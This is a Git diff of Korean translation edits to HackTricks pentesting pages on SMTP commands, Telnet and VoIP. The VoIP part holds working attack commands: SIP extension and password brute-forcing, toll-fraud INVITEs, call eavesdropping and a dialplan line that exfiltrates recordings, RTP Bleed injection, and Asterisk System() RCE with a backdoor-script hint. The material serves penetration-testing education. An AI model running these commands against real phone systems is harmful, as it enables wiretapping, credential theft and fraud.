이 SMTP 명령으로 작업이 시작됩니다: 발신자는 "From" 필드에 출발 이메일 주소를 명시하고 실제 이메일 전송을 시작합니다.
|
||||
이 SMTP 명령어로 작업이 시작됩니다: 발신자는 "From" 필드에 출발 이메일 주소를 명시하고 실제 이메일 전송을 시작합니다.
|
||||
|
||||
**RCPT TO**\
|
||||
이메일 수신자를 식별합니다; 수신자가 여러 명일 경우, 명령은 주소별로 반복됩니다.
|
||||
이메일 수신자를 식별합니다; 수신자가 여러 명일 경우, 명령어는 주소별로 반복됩니다.
|
||||
|
||||
**SIZE**\
|
||||
이 SMTP 명령은 첨부된 이메일의 예상 크기(바이트 단위)를 원격 서버에 알립니다. 서버가 수용할 최대 메시지 크기를 보고하는 데에도 사용할 수 있습니다.
|
||||
이 SMTP 명령어는 첨부된 이메일의 예상 크기(바이트 단위)를 원격 서버에 알립니다. 서버가 수용할 수 있는 최대 메시지 크기를 보고하는 데에도 사용될 수 있습니다.
|
||||
|
||||
**DATA**\
|
||||
DATA 명령으로 이메일 내용의 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
|
||||
DATA 명령어로 이메일 내용 전송이 시작됩니다; 일반적으로 서버가 실제 전송을 시작할 수 있도록 허가하는 354 응답 코드가 뒤따릅니다.
|
||||
|
||||
**VRFY**\
|
||||
특정 이메일 주소나 사용자 이름이 실제로 존재하는지 확인하도록 서버에 요청합니다.
|
||||
|
||||
**TURN**\
|
||||
이 명령은 클라이언트와 서버 간의 역할을 반전시키는 데 사용되며, 새로운 연결을 실행할 필요가 없습니다.
|
||||
이 명령어는 클라이언트와 서버 간의 역할을 반전시키는 데 사용되며, 새로운 연결을 실행할 필요가 없습니다.
|
||||
|
||||
**AUTH**\
|
||||
AUTH 명령으로 클라이언트는 서버에 자신을 인증하며, 사용자 이름과 비밀번호를 제공합니다. 이는 적절한 전송을 보장하기 위한 또 다른 보안 계층입니다.
|
||||
AUTH 명령어로 클라이언트는 서버에 자신을 인증하며, 사용자 이름과 비밀번호를 제공합니다. 이는 적절한 전송을 보장하기 위한 또 다른 보안 계층입니다.
|
||||
|
||||
**RSET**\
|
||||
진행 중인 이메일 전송이 종료될 것임을 서버에 알리지만, SMTP 대화는 종료되지 않습니다(QUIT의 경우와 같이).
|
||||
|
||||
**EXPN**\
|
||||
이 SMTP 명령은 메일링 리스트의 식별에 대한 확인을 요청합니다.
|
||||
이 SMTP 명령어는 메일링 리스트의 식별에 대한 확인을 요청합니다.
|
||||
|
||||
**HELP**\
|
||||
이메일의 성공적인 전송에 유용할 수 있는 정보를 요청하는 클라이언트의 요청입니다.
|
||||
|
@ -66,7 +66,7 @@ SMTP 대화를 종료합니다.
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
|
@ -45,7 +45,7 @@ The script `telnet-ntlm-info.nse`는 NTLM 정보를 얻습니다 (Windows 버전
|
|||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854)에서: TELNET 프로토콜에는 사용자가 더 정교한 (또는 아마도 단순히 다른) 규칙 집합을 사용하기로 동의할 수 있도록 "**DO, DON'T, WILL, WON'T**" 구조와 함께 사용될 수 있는 다양한 "**옵션**"이 있습니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등이 포함될 수 있습니다.
|
||||
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르니 아는 분은 알려주세요.**
|
||||
**이 옵션을 열거하는 것이 가능하다는 것을 알고 있지만, 방법을 모르므로 아는 경우 알려주세요.**
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet)
|
||||
|
||||
|
@ -89,9 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -105,7 +105,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# Pentesting VoIP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
|
@ -50,7 +50,7 @@ MESSAGE Deliver a text message. Used in instant messaging applications. RFC 34
|
|||
INFO Send mid-session information that does not modify the session state. RFC 6086
|
||||
OPTIONS Query the capabilities of an endpoint RFC 3261
|
||||
```
|
||||
## Response Codes
|
||||
## 응답 코드
|
||||
|
||||
**1xx—임시 응답**
|
||||
```
|
||||
|
@ -249,7 +249,7 @@ sippts enumerate -i 10.10.0.10
|
|||
```
|
||||
### 서버 응답 분석
|
||||
|
||||
우리가 보내는 메시지와 헤더의 유형에 따라 서버가 우리에게 보내는 헤더를 분석하는 것이 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하여 모든 헤더를 조작하고 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
|
||||
우리가 보내는 메시지와 헤더의 유형에 따라 서버가 우리에게 보내는 헤더를 분석하는 것이 매우 중요합니다. [**sippts**](https://github.com/Pepelux/sippts)의 `SIPPTS send`를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
|
||||
```bash
|
||||
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
|
||||
```
|
||||
|
@ -259,9 +259,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
|
|||
```
|
||||
### Extension Enumeration
|
||||
|
||||
PBX(Private Branch Exchange) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅할 수 있게 해주며**, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
|
||||
PBX(사설 교환기) 시스템에서 확장은 **조직이나 비즈니스 내의 개별** 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 **조직 내에서 전화를 효율적으로 라우팅할 수 있게 해주며**, 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
|
||||
|
||||
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다.**
|
||||
* **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar`는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 **확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다**.
|
||||
```bash
|
||||
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
|
||||
```
|
||||
|
@ -288,10 +288,10 @@ enumiax -v -m3 -M3 10.10.0.10
|
|||
{% hint style="danger" %}
|
||||
**사용자 이름**이 확장과 동일할 수 있지만, 이 관행은 PBX 시스템, 구성 및 조직의 선호도에 따라 다를 수 있습니다...
|
||||
|
||||
사용자 이름이 확장과 다르면, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
|
||||
사용자 이름이 확장과 동일하지 않은 경우, **무차별 대입을 위해 사용자 이름을 알아내야 합니다**.
|
||||
{% endhint %}
|
||||
|
||||
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장에 대한 비밀번호를 해독할 수 있게 해줍니다.
|
||||
* **`svcrack`** from SIPVicious (`sudo apt install sipvicious`): SVCrack은 PBX에서 특정 사용자 이름/확장의 비밀번호를 해독할 수 있게 해줍니다.
|
||||
```bash
|
||||
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
|
||||
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
|
||||
|
@ -319,9 +319,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
|
|||
|
||||
#### SIP 자격 증명 (비밀번호 브루트포스 - 오프라인)
|
||||
|
||||
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) 자격 증명이 어떻게 **전송되는지** 배울 수 있습니다.
|
||||
[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **자격 증명이 어떻게 전송되는지** 배우기 위해.
|
||||
|
||||
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
|
||||
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 **pcap**에서 SIP 프로토콜 내의 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
|
||||
```bash
|
||||
sipdump -p net-capture.pcap sip-creds.txt
|
||||
sipcrack sip-creds.txt -w dict.txt
|
||||
|
@ -341,11 +341,11 @@ sippts tshark -f capture.pcap [-filter auth]
|
|||
#### DTMF 코드
|
||||
|
||||
**SIP 자격 증명**뿐만 아니라 네트워크 트래픽에서 **음성 메일**에 접근하는 데 사용되는 DTMF 코드를 찾는 것도 가능합니다.\
|
||||
이 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
|
||||
이러한 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송될 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
|
||||
```bash
|
||||
multimon -a DTMF -t wac pin.wav
|
||||
```
|
||||
### 무료 통화 / Asterisks 연결 잘못 구성
|
||||
### 무료 통화 / Asterisk 연결 잘못 구성
|
||||
|
||||
Asterisk에서는 **특정 IP 주소**에서의 연결 또는 **모든 IP 주소**에서의 연결을 허용할 수 있습니다:
|
||||
```
|
||||
|
@ -360,7 +360,7 @@ If an IP address is specified, the host **등록 요청을 주기적으로 보
|
|||
* **`type=friend`**: 피어로 전화를 걸고 사용자로서 받을 수 있습니다 (확장과 함께 사용됨)
|
||||
* **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다 (SIP 트렁크)
|
||||
|
||||
불안전한 변수를 사용하여 신뢰를 설정할 수도 있습니다:
|
||||
불안전한 변수로 신뢰를 설정하는 것도 가능합니다:
|
||||
|
||||
* **`insecure=port`**: IP로 검증된 피어 연결을 허용합니다.
|
||||
* **`insecure=invite`**: INVITE 메시지에 대한 인증이 필요하지 않습니다.
|
||||
|
@ -411,9 +411,9 @@ include => external
|
|||
게다가 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있으므로 **인증 없이** **어떤** 공격자도 다른 번호로 전화를 걸 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 초대는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
|
||||
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite는 **PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
|
||||
|
||||
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
|
||||
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -468,7 +468,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
|
|||
|
||||
## SIPDigestLeak 취약점
|
||||
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로 포함)와 같은 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며** 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로) 등 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며**, 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
|
||||
|
||||
**[여기에서의 취약점 시나리오**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
|
||||
|
||||
|
@ -476,7 +476,7 @@ SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑
|
|||
2. 공격자가 IP 전화에 INVITE를 보냅니다.
|
||||
3. 피해자 전화가 울리기 시작하고 누군가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
|
||||
4. 전화가 끊어지면 **피해자 전화가 공격자에게 BYE를 보냅니다**.
|
||||
5. **공격자가 407 응답을 발행**하여 **인증을 요청**하고 인증 도전을 발행합니다.
|
||||
5. **공격자가 407 응답을 발행**하여 **인증을 요청하고 인증 도전을 발행합니다**.
|
||||
6. **피해자 전화가 두 번째 BYE에서 인증 도전에 대한 응답을 제공합니다**.
|
||||
7. **공격자는 자신의 로컬 머신(또는 분산 네트워크 등)에서 도전 응답에 대한 무차별 대입 공격을 수행할 수 있으며** 비밀번호를 추측할 수 있습니다.
|
||||
|
||||
|
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
|
|||
```
|
||||
### Click2Call
|
||||
|
||||
Click2Call은 **웹 사용자**(예를 들어, 제품에 관심이 있는 사용자)가 **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결**됩니다.
|
||||
Click2Call은 **웹 사용자**가 (예를 들어, 제품에 관심이 있을 수 있는) **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결됩니다**.
|
||||
|
||||
이와 관련된 일반적인 Asterisk 프로필은:
|
||||
```scss
|
||||
|
@ -516,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
|
|||
write = system,call,agent,user,config,command,reporting,originate
|
||||
```
|
||||
* 이전 프로필은 **모든 IP 주소가 연결할 수 있도록 허용**하고 있습니다 (비밀번호가 알려진 경우).
|
||||
* 이전에 명시된 대로 **전화를 조직하기 위해**는 **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
|
||||
* 이전에 지정된 대로 **전화를 조직하기 위해**는 **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
|
||||
|
||||
이러한 권한으로 비밀번호를 아는 모든 IP가 연결하여 너무 많은 정보를 추출할 수 있습니다, 예를 들어:
|
||||
|
||||
|
@ -533,9 +533,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
|
|||
|
||||
Asterisk에서는 **`ChanSpy`** 명령어를 사용하여 **모니터링할 내선**(또는 모든 내선)을 지정하여 진행 중인 대화를 들을 수 있습니다. 이 명령어는 내선에 할당되어야 합니다.
|
||||
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 상호작용을 원하지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
|
||||
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 이에 상호작용하고 싶지 않기 때문입니다. **`*`**를 눌러서 진행 중인 대화에서 다른 대화로 이동하거나 내선 번호를 입력할 수 있습니다.
|
||||
|
||||
**`ExtenSpy`**를 사용하여 하나의 내선만 모니터링하는 것도 가능합니다.
|
||||
하나의 내선만 모니터링하기 위해 **`ExtenSpy`**를 사용할 수도 있습니다.
|
||||
|
||||
대화를 듣는 대신, 다음과 같은 내선을 사용하여 **파일에 기록**할 수 있습니다:
|
||||
|
||||
|
@ -549,15 +549,15 @@ exten => _X.,2,MixMonitor(${NAME})
|
|||
|
||||
통화는 **`/tmp`**에 저장됩니다.
|
||||
|
||||
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 만들 수도 있습니다.
|
||||
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 할 수도 있습니다.
|
||||
```scss
|
||||
exten => h,1,System(/tmp/leak_conv.sh &)
|
||||
```
|
||||
### RTCPBleed 취약점
|
||||
|
||||
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 **RTP(실시간 프로토콜) 트래픽**이 **인터넷의 누구나 가로채고 리디렉션할 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
|
||||
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 **RTP(Real Time Protocol) 트래픽**이 **인터넷의 누구나 가로채고 리디렉션할 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
|
||||
|
||||
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출처 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
|
||||
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출발지 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
|
||||
|
||||
RTP 프록시와 RTP 스택의 또 다른 흥미로운 동작은 때때로 **RTP Bleed에 취약하지 않더라도** **모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리**한다는 것입니다. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
|
||||
|
||||
|
@ -573,7 +573,7 @@ sippts rtpbleed -i 10.10.0.10
|
|||
```bash
|
||||
sippts rtcpbleed -i 10.10.0.10
|
||||
```
|
||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood은 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
|
||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood는 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
|
||||
```bash
|
||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||
```
|
||||
|
@ -583,14 +583,14 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
|
|||
```
|
||||
### RCE
|
||||
|
||||
Asterisk에서 어떻게든 **확장 규칙을 추가하고 이를 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령어를 사용하여 RCE를 얻을 수 있습니다.
|
||||
Asterisk에서 어떻게든 **확장 규칙을 추가하고 다시 로드할 수 있는** 방법을 찾으면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
|
||||
```scss
|
||||
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||
```
|
||||
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||
|
||||
{% hint style="warning" %}
|
||||
서버가 **`System`** 명령에서 **특정 문자의 사용을 금지**하고 있는 경우(예: Elastix), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지** 확인하고(예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트**를 **생성**한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
|
||||
